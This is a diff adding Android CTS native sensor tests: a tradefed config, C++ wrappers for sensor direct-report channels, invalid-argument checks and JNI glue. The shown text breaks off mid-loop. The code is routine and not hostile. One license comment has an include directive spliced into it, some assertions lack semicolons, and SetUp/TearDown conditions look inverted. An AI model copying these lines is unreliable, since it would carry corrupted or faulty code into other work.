+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Sensor test cases">
+    <option name="config-descriptor:metadata" key="component" value="location" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSensorTestCases.apk" />
+    </target_preparer>
+    <!-- Put SensorService in restricted mode so that only CTS tests will be able to get access to
+    sensors -->
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="dumpsys sensorservice restrict .cts." />
+        <option name="teardown-command" value="dumpsys sensorservice enable" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.hardware.sensor.cts" />
+        <option name="runtime-hint" value="47m28s" />
+        <!-- test-timeout unit is ms, value = 60 min -->
+        <option name="test-timeout" value="3600000" />
+    </test>
+
+</configuration>
diff --git a/tests/sensor/jni/SensorTest.cpp b/tests/sensor/jni/SensorTest.cpp
new file mode 100644
index 0000000..38964aa
--- /dev/null
+++ b/tests/sensor/jni/SensorTest.cpp
@@ -0,0 +1,248 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SensorTest.h"
+#include <errno.h>
+
+namespace android {
+namespace SensorTest {
+
+// SensorTest container class
+bool SensorTest::SetUp() {
+    if (mManager == nullptr) {
+        mManager.reset(
+              TestSensorManager::getInstanceForPackage("android.hardware.cts.SensorNativeTest"));
+    }
+    return mManager == nullptr;
+}
+
+void SensorTest::TearDown() {
+    if (mManager == nullptr) {
+        mManager.reset(nullptr);
+    }
+}
+
+TestSensorManager::TestSensorManager(const char *package) {
+    mManager = ASensorManager_getInstanceForPackage(package);
+}
+
+TestSensorManager::~TestSensorManager() {
+    for (int channel : mSensorDirectChannel) {
+        destroyDirectChannel(channel);
+    }
+    mSensorDirectChannel.clear();
+}
+
+TestSensorManager * TestSensorManager::getInstanceForPackage(const char *package) {
+    return new TestSensorManager(package);
+}
+
+TestSensor TestSensorManager::getDefaultSensor(int type) {
+    return TestSensor(ASensorManager_getDefaultSensor(mManager, type));
+}
+
+int TestSensorManager::createDirectChannel(const TestSharedMemory &mem) {
+    if (!isValid()) {
+        return -EINVAL;
+    }
+    switch (mem.getType()) {
+        case ASENSOR_DIRECT_CHANNEL_TYPE_SHARED_MEMORY:
+            return createSharedMemoryDirectChannel(
+                    mem.getSharedMemoryFd(), mem.getSize());
+        case ASENSOR_DIRECT_CHANNEL_TYPE_HARDWARE_BUFFER:
+            return createHardwareBufferDirectChannel(
+                    mem.getHardwareBuffer(), mem.getSize());
+        default:
+            return -1;
+    }
+}
+
+int TestSensorManager::createSharedMemoryDirectChannel(int fd, size_t size) {
+    int ret = ASensorManager_createSharedMemoryDirectChannel(mManager, fd, size);
+    if (ret > 0) {
+        mSensorDirectChannel.insert(ret);
+    }
+    return ret;
+}
+
+int TestSensorManager::createHardwareBufferDirectChannel(
+        AHardwareBuffer const *buffer, size_t size) {
+    int ret = ASensorManager_createHardwareBufferDirectChannel(mManager, buffer, size);
+    if (ret > 0) {
+        mSensorDirectChannel.insert(ret);
+    }
+    return ret;
+}
+
+void TestSensorManager::destroyDirectChannel(int channel) {
+    if (!isValid()) {
+        return;
+    }
+    ASensorManager_destroyDirectChannel(mManager, channel);
+    mSensorDirectChannel.erase(channel);
+    return;
+}
+
+int TestSensorManager::configureDirectReport(TestSensor sensor, int channel, int rate) {
+    if (!isValid()) {
+        return -EINVAL;
+    }
+    return ASensorManager_configureDirectReport(mManager, sensor, channel, rate);
+}
+
+char * TestSharedMemory::getBuffer() const {
+    return mBuffer;
+}
+
+std::vector<ASensorEvent> TestSharedMemory::parseEvents(int64_t lastCounter, size_t offset) const {
+    constexpr size_t kEventSize = sizeof(ASensorEvent);
+    constexpr size_t kOffsetSize = offsetof(ASensorEvent, version);
+    constexpr size_t kOffsetAtomicCounter = offsetof(ASensorEvent, reserved0);
+
+    std::vector<ASensorEvent> events;
+    while (offset + kEventSize <= mSize) {
+        int64_t atomicCounter = *reinterpret_cast<uint32_t *>(mBuffer + offset + kOffsetAtomicCounter);
+        if (atomicCounter <= lastCounter) {
+            break;
+        }
+
+        int32_t size = *reinterpret_cast<int32_t *>(mBuffer + offset + kOffsetSize);
+        if (size != kEventSize) {
+            // unknown error, events parsed may be wrong, remove all
+            events.clear();
+            break;
+        }
+
+        events.push_back(*reinterpret_cast<ASensorEvent *>(mBuffer + offset));
+        lastCounter = atomicCounter;
+        offset += kEventSize;
+    }
+
+    return events;
+}
+
+TestSharedMemory::TestSharedMemory(int type, size_t size)
+        : mType(type), mSize(0), mBuffer(nullptr),
+            mSharedMemoryFd(-1), mHardwareBuffer(nullptr) {
+    bool success = false;
+    switch(type) {
+        case ASENSOR_DIRECT_CHANNEL_TYPE_SHARED_MEMORY: {
+            mSharedMemoryFd = ASharedMemory_create("TestSharedMemory", size);
+            if (mSharedMemoryFd < 0
+                    || ASharedMemory_getSize(mSharedMemoryFd) != size) {
+                break;
+            }
+
+            mSize = size;
+            mBuffer = reinterpret_cast<char *>(::mmap(
+                    nullptr, mSize, PROT_READ | PROT_WRITE,
+                    MAP_SHARED, mSharedMemoryFd, 0));
+
+            if (mBuffer == MAP_FAILED) {
+                mBuffer = nullptr;
+                break;
+            }
+            success = true;
+            break;
+        }
+        case ASENSOR_DIRECT_CHANNEL_TYPE_HARDWARE_BUFFER: {
+            AHardwareBuffer_Desc desc = {
+                .width = static_cast<uint32_t>(size),
+                .height = 1,
+                .layers = 1,
+                .usage = AHARDWAREBUFFER_USAGE_SENSOR_DIRECT_DATA
+                         | AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN,
+                .format = AHARDWAREBUFFER_FORMAT_BLOB
+            };
+
+            // allocate
+            if (AHardwareBuffer_allocate(&desc, &mHardwareBuffer) == 0) {
+                // lock
+                if (AHardwareBuffer_lock(mHardwareBuffer, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY,
+                                         -1, nullptr, reinterpret_cast<void **>(&mBuffer)) == 0) {
+                    if (mBuffer != nullptr) {
+                        mSize = size;
+                        success = true;
+                    }
+                }
+            }
+            break;
+        }
+        default:
+            break;
+    }
+
+    if (!success) {
+        release();
+    }
+}
+
+TestSharedMemory::~TestSharedMemory() {
+    release();
+}
+
+void TestSharedMemory::release() {
+    switch(mType) {
+        case ASENSOR_DIRECT_CHANNEL_TYPE_SHARED_MEMORY: {
+            if (mBuffer != nullptr) {
+                ::munmap(mBuffer, mSize);
+                mBuffer = nullptr;
+            }
+            if (mSharedMemoryFd > 0) {
+                ::close(mSharedMemoryFd);
+                mSharedMemoryFd = -1;
+            }
+            mSize = 0;
+            break;
+        }
+        case ASENSOR_DIRECT_CHANNEL_TYPE_HARDWARE_BUFFER: {
+            if (mHardwareBuffer != nullptr) {
+                if (mBuffer != nullptr) {
+                    int32_t fence = -1;
+                    AHardwareBuffer_unlock(mHardwareBuffer, &fence);
+                    mBuffer = nullptr;
+                }
+                AHardwareBuffer_release(mHardwareBuffer);
+                mHardwareBuffer = nullptr;
+            }
+            mSize = 0;
+            break;
+        }
+        default:
+            break;
+    }
+    if (mSharedMemoryFd > 0 || mSize != 0 || mBuffer != nullptr || mHardwareBuffer != nullptr) {
+        ALOGE("TestSharedMemory %p not properly destructed: "
+              "type %d, shared_memory_fd %d, hardware_buffer %p, size %zu, buffer %p",
+              this, static_cast<int>(mType), mSharedMemoryFd, mHardwareBuffer, mSize, mBuffer);
+    }
+}
+
+TestSharedMemory* TestSharedMemory::create(int type, size_t size) {
+    constexpr size_t kMaxSize = 128*1024*1024; // sensor test should not need more than 128M
+    if (size == 0 || size >= kMaxSize) {
+        return nullptr;
+    }
+
+    auto m = new TestSharedMemory(type, size);
+    if (m->mSize != size || m->mBuffer == nullptr) {
+        delete m;
+        m = nullptr;
+    }
+    return m;
+}
+} // namespace SensorTest
+} // namespace android
diff --git a/tests/sensor/jni/SensorTest.h b/tests/sensor/jni/SensorTest.h
new file mode 100644
index 0000000..7abd1e9
--- /dev/null
+++ b/tests/sensor/jni/SensorTest.h
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SENSOR_TEST_H
+#define SENSOR_TEST_H
+
+#include "nativeTestHelper.h"
+#include <android/sensor.h>
+#include <android/hardware_buffer.h>
+#include <android/sharedmem.h>
+
+#include <unordered_set>
+#include <vector>
+#include <sys/mman.h>
+#include <unistd.h>
+
+namespace android {
+namespace SensorTest {
+
+class TestSensor;
+class TestSensorManager;
+class TestSharedMemory;
+
+class SensorTest {
+public:
+    virtual bool SetUp();
+    virtual void TearDown();
+    virtual ~SensorTest() = default;
+
+    // tests
+    void testInitialized(JNIEnv *env);
+    void testInvalidParameter(JNIEnv *env);
+    void testDirectReport(JNIEnv *env, int32_t sensorType, int32_t channelType, int32_t rateLevel);
+
+private:
+    std::unique_ptr<TestSensorManager> mManager;
+};
+
+// NDK ASensorManager wrapper
+class TestSensorManager {
+public:
+    static TestSensorManager * getInstanceForPackage(const char *package);
+    virtual ~TestSensorManager();
+
+    TestSensor getDefaultSensor(int type);
+    int createDirectChannel(const TestSharedMemory &mem);
+    void destroyDirectChannel(int channel);
+    int configureDirectReport(TestSensor sensor, int channel, int rateLevel);
+    bool isValid() const { return mManager != nullptr; }
+private:
+    TestSensorManager(const char *package);
+    int createSharedMemoryDirectChannel(int fd, size_t size);
+    int createHardwareBufferDirectChannel(AHardwareBuffer const *buffer, size_t size);
+
+    ASensorManager *mManager; // singleton, does not need delete
+
+    // book keeping
+    std::unordered_set<int> mSensorDirectChannel;
+};
+
+// NDK ASensor warpper
+class TestSensor {
+public:
+    TestSensor(ASensor const *s) : mSensor(s) { }
+
+    int getType() const {
+        if (!isValid()) {
+            return -1;
+        }
+        return ASensor_getType(mSensor);
+    }
+
+    bool isDirectChannelTypeSupported(int channelType) const {
+        if (!isValid()) {
+            return false;
+        }
+        return ASensor_isDirectChannelTypeSupported(mSensor, channelType);
+    }
+
+    int getHighestDirectReportRateLevel() const {
+        if (!isValid()) {
+            return ASENSOR_DIRECT_RATE_STOP;
+        }
+        return ASensor_getHighestDirectReportRateLevel(mSensor);
+    }
+
+    operator ASensor const * () { return mSensor; }
+
+    bool isValid() const { return mSensor != nullptr; }
+private:
+    ASensor const * mSensor;
+};
+
+// Shared memory wrapper class
+class TestSharedMemory {
+public:
+    static TestSharedMemory* create(int type, size_t size);
+    char * getBuffer() const;
+    std::vector<ASensorEvent> parseEvents(int64_t lastCounter = -1, size_t offset = 0) const;
+    virtual ~TestSharedMemory();
+
+    int getSharedMemoryFd() const {
+        return mSharedMemoryFd;
+    }
+
+    AHardwareBuffer const * getHardwareBuffer() const {
+        return mHardwareBuffer;
+    }
+
+    int getType() const {
+        return mType;
+    }
+
+    size_t getSize() const {
+        return mSize;
+    }
+private:
+    TestSharedMemory(int type, size_t size);
+    void release();
+
+    const int mType;
+    size_t mSize;
+    char* mBuffer;
+    int mSharedMemoryFd;
+    AHardwareBuffer *mHardwareBuffer;
+};
+} // namespace SensorTest
+} // namespace android
+
+#endif // SENSOR_TEST_H
diff --git a/tests/sensor/jni/SensorTestCases.cpp b/tests/sensor/jni/SensorTestCases.cpp
new file mode 100644
index 0000000..43e07a4
--- /dev/null
+++ b/tests/sensor/jni/SensorTestCases.cpp
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SensorTest.h"
+#include <errno.h>
+
+namespace android {
+namespace SensorTest {
+
+// Test if test environment is correctly initialized
+void SensorTest::testInitialized(JNIEnv *env) {
+    ASSERT_TRUE(mManager->isValid());
+}
+
+// Test if invalid parameter cases are handled correctly
+void SensorTest::testInvalidParameter(JNIEnv *env) {
+    ASensorList dummyList;
+    ASSERT_EQ(ASensorManager_getSensorList(nullptr, nullptr), -EINVAL);
+    ASSERT_EQ(ASensorManager_getSensorList(nullptr, &dummyList), -EINVAL);
+
+    ASSERT_EQ(ASensorManager_getDefaultSensor(nullptr, ASENSOR_TYPE_ACCELEROMETER), nullptr);
+
+    ASSERT_EQ(ASensorManager_getDefaultSensorEx(
+            nullptr, ASENSOR_TYPE_ACCELEROMETER, false), nullptr);
+
+    ALooper *nonNullLooper = reinterpret_cast<ALooper *>(1);
+    ASensorManager *nonNullManager = reinterpret_cast<ASensorManager *>(1);
+    ASSERT_EQ(ASensorManager_createEventQueue(nullptr, nullptr, 0, nullptr, nullptr), nullptr);
+    ASSERT_EQ(ASensorManager_createEventQueue(
+            nullptr, nonNullLooper, 0, nullptr, nullptr), nullptr);
+    ASSERT_EQ(ASensorManager_createEventQueue(
+            nonNullManager, nullptr, 0, nullptr, nullptr), nullptr);
+
+    ASensorEventQueue *nonNullQueue = reinterpret_cast<ASensorEventQueue *>(1);
+    ASSERT_EQ(ASensorManager_destroyEventQueue(nullptr, nullptr), -EINVAL);
+    ASSERT_EQ(ASensorManager_destroyEventQueue(nullptr, nonNullQueue), -EINVAL);
+    ASSERT_EQ(ASensorManager_destroyEventQueue(nonNullManager, nullptr), -EINVAL);
+
+    int fakeValidFd = 1;
+    int invalidFd = -1;
+    ASSERT_EQ(ASensorManager_createSharedMemoryDirectChannel(
+            nullptr, fakeValidFd, sizeof(ASensorEvent)), -EINVAL);
+    ASSERT_EQ(ASensorManager_createSharedMemoryDirectChannel(
+            nonNullManager, invalidFd, sizeof(ASensorEvent)), -EINVAL);
+    ASSERT_EQ(ASensorManager_createSharedMemoryDirectChannel(
+            nonNullManager, fakeValidFd, sizeof(ASensorEvent) - 1), -EINVAL);
+    ASSERT_EQ(ASensorManager_createSharedMemoryDirectChannel(
+            nonNullManager, fakeValidFd, 0), -EINVAL);
+
+    AHardwareBuffer *nonNullHardwareBuffer = reinterpret_cast<AHardwareBuffer *>(1);
+    ASSERT_EQ(ASensorManager_createHardwareBufferDirectChannel(
+            nullptr, nonNullHardwareBuffer, sizeof(ASensorEvent)), -EINVAL);
+    ASSERT_EQ(ASensorManager_createHardwareBufferDirectChannel(
+            nonNullManager, nullptr, sizeof(ASensorEvent)), -EINVAL);
+    ASSERT_EQ(ASensorManager_createHardwareBufferDirectChannel(
+            nonNullManager, nonNullHardwareBuffer, sizeof(ASensorEvent) - 1), -EINVAL);
+    ASSERT_EQ(ASensorManager_createHardwareBufferDirectChannel(
+            nonNullManager, nonNullHardwareBuffer, 0), -EINVAL);
+
+    // no return value to test, but call this to test if it will crash
+    ASensorManager_destroyDirectChannel(nullptr, 1);
+
+    ASensor *nonNullSensor = reinterpret_cast<ASensor *>(1);
+    ASSERT_EQ(ASensorManager_configureDirectReport(
+            nullptr, nullptr, 1, ASENSOR_DIRECT_RATE_NORMAL), -EINVAL);
+    ASSERT_EQ(ASensorManager_configureDirectReport(
+            nullptr, nonNullSensor, 1, ASENSOR_DIRECT_RATE_NORMAL), -EINVAL);
+    ASSERT_EQ(ASensorManager_configureDirectReport(
+            nullptr, nonNullSensor, 1, ASENSOR_DIRECT_RATE_STOP), -EINVAL);
+    ASSERT_EQ(ASensorManager_configureDirectReport(
+            nonNullManager, nullptr, 1, ASENSOR_DIRECT_RATE_NORMAL), -EINVAL);
+
+    ASSERT_EQ(ASensorEventQueue_registerSensor(nullptr, nullptr, 1, 1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_registerSensor(nullptr, nonNullSensor, 1, 1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_registerSensor(nonNullQueue, nullptr, 1, 1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_registerSensor(nonNullQueue, nonNullSensor, -1, 1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_registerSensor(nonNullQueue, nonNullSensor, 1, -1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_registerSensor(nonNullQueue, nonNullSensor, -1, -1), -EINVAL);
+
+    ASSERT_EQ(ASensorEventQueue_enableSensor(nullptr, nullptr), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_enableSensor(nullptr, nonNullSensor), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_enableSensor(nonNullQueue, nullptr), -EINVAL);
+
+    ASSERT_EQ(ASensorEventQueue_disableSensor(nullptr, nullptr), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_disableSensor(nullptr, nonNullSensor), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_disableSensor(nonNullQueue, nullptr), -EINVAL);
+
+    ASSERT_EQ(ASensorEventQueue_setEventRate(nullptr, nullptr, 1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_setEventRate(nullptr, nonNullSensor, 1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_setEventRate(nonNullQueue, nullptr, 1), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_setEventRate(nonNullQueue, nonNullSensor, -1), -EINVAL);
+
+    ASSERT_EQ(ASensorEventQueue_hasEvents(nullptr), -EINVAL);
+
+    ASensorEvent event;
+    ASensorEvent *nonNullEvent = &event;
+    ASSERT_EQ(ASensorEventQueue_getEvents(nullptr, nullptr, 1), -EINVAL)
+    ASSERT_EQ(ASensorEventQueue_getEvents(nullptr, nullptr, 0), -EINVAL)
+    ASSERT_EQ(ASensorEventQueue_getEvents(nullptr, nonNullEvent, 1), -EINVAL)
+    ASSERT_EQ(ASensorEventQueue_getEvents(nullptr, nonNullEvent, 0), -EINVAL);
+    ASSERT_EQ(ASensorEventQueue_getEvents(nonNullQueue, nullptr, 1), -EINVAL)
+    ASSERT_EQ(ASensorEventQueue_getEvents(nonNullQueue, nullptr, 0), -EINVAL);
+
+    ASSERT_NULL(ASensor_getName(nullptr));
+    ASSERT_NULL(ASensor_getVendor(nullptr));
+    ASSERT_EQ(ASensor_getType(nullptr), ASENSOR_TYPE_INVALID);
+    // cannot use ASSERT_EQ as nan compare always returns false
+    ASSERT_NAN(ASensor_getResolution(nullptr));
+    ASSERT_EQ(ASensor_getMinDelay(nullptr), ASENSOR_DELAY_INVALID);
+    ASSERT_EQ(ASensor_getFifoMaxEventCount(nullptr), ASENSOR_FIFO_COUNT_INVALID);
+    ASSERT_EQ(ASensor_getFifoReservedEventCount(nullptr), ASENSOR_FIFO_COUNT_INVALID);
+    ASSERT_NULL(ASensor_getStringType(nullptr));
+    ASSERT_EQ(ASensor_getReportingMode(nullptr), AREPORTING_MODE_INVALID);
+    ASSERT_EQ(ASensor_isWakeUpSensor(nullptr), false);
+    ASSERT_EQ(ASensor_isDirectChannelTypeSupported(
+            nullptr, ASENSOR_DIRECT_CHANNEL_TYPE_SHARED_MEMORY), false);
+    ASSERT_EQ(ASensor_isDirectChannelTypeSupported(
+            nullptr, ASENSOR_DIRECT_CHANNEL_TYPE_HARDWARE_BUFFER), false);
+    ASSERT_EQ(ASensor_getHighestDirectReportRateLevel(nullptr), ASENSOR_DIRECT_RATE_STOP);
+}
+
+// Test sensor direct report functionality
+void SensorTest::testDirectReport(JNIEnv* env, int32_t sensorType, int32_t channelType, int32_t rateLevel) {
+    constexpr size_t kEventSize = sizeof(ASensorEvent);
+    constexpr size_t kNEvent = 4096; // enough to contain 1.5 * 800 * 2.2 events
+    constexpr size_t kMemSize = kEventSize * kNEvent;
+
+    // value check criterion
+    constexpr float GRAVITY_MIN = 9.81f - 0.5f;
+    constexpr float GRAVITY_MAX = 9.81f + 0.5f;
+    constexpr float GYRO_MAX = 0.1f; // ~5 dps
+
+    constexpr float RATE_NORMAL_NOMINAL = 50;
+    constexpr float RATE_FAST_NOMINAL = 200;
+    constexpr float RATE_VERY_FAST_NOMINAL = 800;
+
+    TestSensor sensor = mManager->getDefaultSensor(sensorType);
+    if (!sensor.isValid()
+        || sensor.getHighestDirectReportRateLevel() < rateLevel
+        || !sensor.isDirectChannelTypeSupported(channelType)) {
+        // no sensor of type sensorType or it does not declare support of channelType or rateLevel
+        return;
+    }
+
+    std::unique_ptr<TestSharedMemory> mem(TestSharedMemory::create(channelType, kMemSize));
+    ASSERT_NE(mem, nullptr);
+    ASSERT_NE(mem->getBuffer(), nullptr);
+    switch (channelType) {
+        case ASENSOR_DIRECT_CHANNEL_TYPE_SHARED_MEMORY:
+            ASSERT_GT(mem->getSharedMemoryFd(), 0);
+            break;
+        case ASENSOR_DIRECT_CHANNEL_TYPE_HARDWARE_BUFFER:
+            ASSERT_NOT_NULL(mem->getHardwareBuffer());
+            break;
+    }
+
+    char* buffer = mem->getBuffer();
+    // fill memory with data
+    for (size_t i = 0; i < kMemSize; ++i) {
+        buffer[i] = '\xcc';
+    }
+
+    int32_t channel;
+    channel = mManager->createDirectChannel(*mem);
+    ASSERT_GT(channel, 0);
+
+    // check memory is zeroed
+    for (size_t i = 0; i < kMemSize; ++i) {
+        ASSERT_EQ(buffer[i], '\0');
+    }
+
+    int32_t eventToken;
+    eventToken = mManager->configureDirectReport(sensor, channel, rateLevel);
+    usleep(1500000); // sleep 1 sec for data, plus 0.5 sec for initialization
+    auto events = mem->parseEvents();
+
+    // find norminal rate
+    float nominalFreq = 0.f;
+    float nominalTestTimeSec = 1.f;
+    float maxTestTimeSec = 1.5f;
+    switch (rateLevel) {
+        case ASENSOR_DIRECT_RATE_NORMAL:
+            nominalFreq = RATE_NORMAL_NOMINAL;
+            break;
+        case ASENSOR_DIRECT_RATE_FAST:
+            nominalFreq = RATE_FAST_NOMINAL;
+            break;
+        case ASENSOR_DIRECT_RATE_VERY_FAST:
+            nominalFreq = RATE_VERY_FAST_NOMINAL;
+            break;
+    }
+
+    // allowed to be between 55% and 220% of nominal freq
+    ASSERT_GT(events.size(), static_cast<size_t>(nominalFreq * 0.55f * nominalTestTimeSec));
+    ASSERT_LT(events.size(), static_cast<size_t>(nominalFreq * 2.2f * maxTestTimeSec));
+
+    int64_t lastTimestamp = 0;
+    for (auto &e : events) {
+        ASSERT_EQ(e.type, sensorType);
+        ASSERT_EQ(e.sensor, eventToken);
+        ASSERT_GT(e.timestamp, lastTimestamp);
+
+        // type specific value check
+        switch(sensorType) {
+            case ASENSOR_TYPE_ACCELEROMETER: {
+                ASensorVector &acc = e.vector;
+                double accNorm = std::sqrt(acc.x * acc.x + acc.y * acc.y + acc.z * acc.z);
+                if (accNorm > GRAVITY_MAX || accNorm < GRAVITY_MIN) {
+                    ALOGE("Gravity norm = %f", accNorm);
+                }
+                ASSERT_GE(accNorm, GRAVITY_MIN);
+                ASSERT_LE(accNorm, GRAVITY_MAX);
+                break;
+            }
+            case ASENSOR_TYPE_GYROSCOPE: {
+                ASensorVector &gyro = e.vector;
+                double gyroNorm = std::sqrt(gyro.x * gyro.x + gyro.y * gyro.y + gyro.z * gyro.z);
+                // assert not drifting
+                ASSERT_LE(gyroNorm, GYRO_MAX);  // < ~2.5 degree/s
+                break;
+            }
+        }
+
+        lastTimestamp = e.timestamp;
+    }
+
+    // stop sensor and unregister channel
+    mManager->configureDirectReport(sensor, channel, ASENSOR_DIRECT_RATE_STOP);
+    mManager->destroyDirectChannel(channel);
+}
+} // namespace SensorTest
+} // namespace android
diff --git a/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp b/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
new file mode 100644
index 0000000..f189cf9
--- /dev/null
+++ b/tests/sensor/jni/android_hardware_cts_SensorDirectReportTest.cpp
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"nclude
+ * <android/hardware_buffer_jni.h>);
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "nativeTestHelper.h"
+#include "SensorTest.h"
+
+#include <android/hardware_buffer_jni.h>
+
+namespace {
+jboolean readHardwareBuffer(JNIEnv* env, jclass,
+        jobject hardwareBufferObj, jbyteArray buffer, jint srcOffset, jint destOffset, jint count) {
+    if (hardwareBufferObj == nullptr || buffer == nullptr ||
+        srcOffset < 0 || destOffset < 0 || count <= 0) {
+        return false;
+    }
+
+    if (env->GetArrayLength(buffer) < destOffset + count) {
+        ALOGE("Byte array is not large enough.");
+        return false;
+    }
+
+    AHardwareBuffer *hardwareBuffer = AHardwareBuffer_fromHardwareBuffer(env, hardwareBufferObj);
+    if (hardwareBuffer == nullptr) {
+        ALOGE("Cannot get AHardwareBuffer from HardwareBuffer");
+        return false;
+    }
+
+    void *address;
+    int32_t fence = -1;
+    jboolean ret = false;
+    if (AHardwareBuffer_lock(hardwareBuffer, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY,
+                             fence, nullptr, &address) == 0) {
+        if (address != nullptr) {
+            env->SetByteArrayRegion(
+                    buffer, destOffset, count, reinterpret_cast<const jbyte *>(address));
+            ret = true;
+        } else {
+            ALOGE("AHardwareBuffer locked but address is invalid");
+        }
+        AHardwareBuffer_unlock(hardwareBuffer, &fence);
+    }
+    return ret;
+}
+
+JNINativeMethod gMethods[] = {
+    {  "nativeReadHardwareBuffer", "(Landroid/hardware/HardwareBuffer;[BIII)Z",
+            (void *) readHardwareBuffer},
+};
+} // unamed namespace
+
+int register_android_hardware_cts_SensorDirectReportTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/hardware/cts/SensorDirectReportTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/sensor/jni/android_hardware_cts_SensorNativeTest.cpp b/tests/sensor/jni/android_hardware_cts_SensorNativeTest.cpp
new file mode 100644
index 0000000..4c8b323
--- /dev/null
+++ b/tests/sensor/jni/android_hardware_cts_SensorNativeTest.cpp
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "nativeTestHelper.h"
+#include "SensorTest.h"
+
+namespace {
+using android::SensorTest::SensorTest;
+
+#define RETURN_ON_EXCEPTION() do { if (env->ExceptionCheck()) { return;} } while(false)
+
+jlong setUp(JNIEnv*, jclass) {
+    SensorTest *test = new SensorTest();
+    if (test != nullptr) {
+        test->SetUp();
+    }
+    return reinterpret_cast<jlong>(test);
+}
+
+void tearDown(JNIEnv*, jclass, jlong instance) {
+    delete reinterpret_cast<SensorTest *>(instance);
+}
+
+void test(JNIEnv* env, jclass, jlong instance) {
+    SensorTest *test = reinterpret_cast<SensorTest *>(instance);
+    ASSERT_NOT_NULL(test);
+
+    // test if SensorTest is intialized
+    ALOGI("testInitialized");
+    test->testInitialized(env);
+    RETURN_ON_EXCEPTION();
+
+    // test if SensorTest is intialized
+    ALOGI("testInvalidParameter");
+    test->testInvalidParameter(env);
+    RETURN_ON_EXCEPTION();
+
+    // test sensor direct report
+    std::vector<int32_t> sensorTypes ={ASENSOR_TYPE_ACCELEROMETER, ASENSOR_TYPE_GYROSCOPE};
+    std::vector<int32_t> rates = {
+        ASENSOR_DIRECT_RATE_NORMAL, ASENSOR_DIRECT_RATE_FAST, ASENSOR_DIRECT_RATE_VERY_FAST};
+    std::vector<int32_t> channelTypes =
+        {ASENSOR_DIRECT_CHANNEL_TYPE_SHARED_MEMORY, ASENSOR_DIRECT_CHANNEL_TYPE_HARDWARE_BUFFER};
+    for (auto s : sensorTypes) {
+        for (auto c : channelTypes) {
+            for (auto r : rates) {
+                ALOGI("testDirectReport: sensorType = %d, channelType = %d, ratelevel = %d",
+                      s, c, r);
